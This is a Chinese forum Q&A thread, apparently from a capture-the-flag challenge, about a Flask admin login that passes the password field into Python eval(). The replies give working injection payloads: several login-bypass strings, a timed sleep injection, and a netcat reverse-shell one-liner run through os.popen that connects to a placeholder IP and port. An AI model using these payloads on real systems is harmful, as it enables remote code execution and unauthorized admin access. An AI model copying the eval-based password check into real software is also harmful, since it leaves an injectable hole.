因此,作為挑戰的一部分,我在一個開源網站的模板上發現了以下代碼:
@app.route("/admin", methods=['GET', 'POST'])
def admin():
username = getUsernameFromSecureStorage() or "admin"
passwd = getPasswordFromSecureStorage()
if session.get('loggedin', False):
return render_template('admin_page.html')
else:
if request.method == 'POST':
if eval("'" request.form['pass'] "' == passwd"):
session['loggedin'] = True
return redirect(request.headers['referer'], code=302)
else:
return render_template('admin.html', msg="Login failed")
return render_template('admin.html', msg="Welcome to the admin page")
我知道這里有一個 python 命令注入,因為我能夠使用密碼欄位中的以下有效負載執行睡眠功能:
' eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single')) '
但萬一試圖繞過登錄或獲得反向shell,還沒有運氣。
感謝任何建議。
uj5u.com熱心網友回復:
非常感謝您通過使用繞過密碼欄位的幫助
' or True or '
另一種方法是:
1==1'or'2
主要的是該宣告必須評估為始終為真。
至于反向 shell,非常簡單,尤其是當我發現服務器上沒有 bash 所以這就是所需要的:
' __import__("os").popen("nc IP PORT -e sh").read() '
謝謝大家的幫助!
uj5u.com熱心網友回復:
通常退出功能正在退出您的應用程式,因此退出功能可能會有所幫助。
你可以試試:
quit()
uj5u.com熱心網友回復:
也許看看這里。這是一個非常簡潔的 Reverse Shells 備忘單,并且有很多 Python 示例。
我相信你可以在那里找到任何東西!
編輯:
我還沒有作業的反向外殼,但是應該可以使用"' == '' or '"密碼繞過登錄。
例子.py:
passwd = "aa"
evil_code = "' == '' or '"
if eval("'" evil_code "' == passwd"):
print("success")
else:
print("no success")
轉載請註明出處,本文鏈接:https://www.uj5u.com/net/519780.html
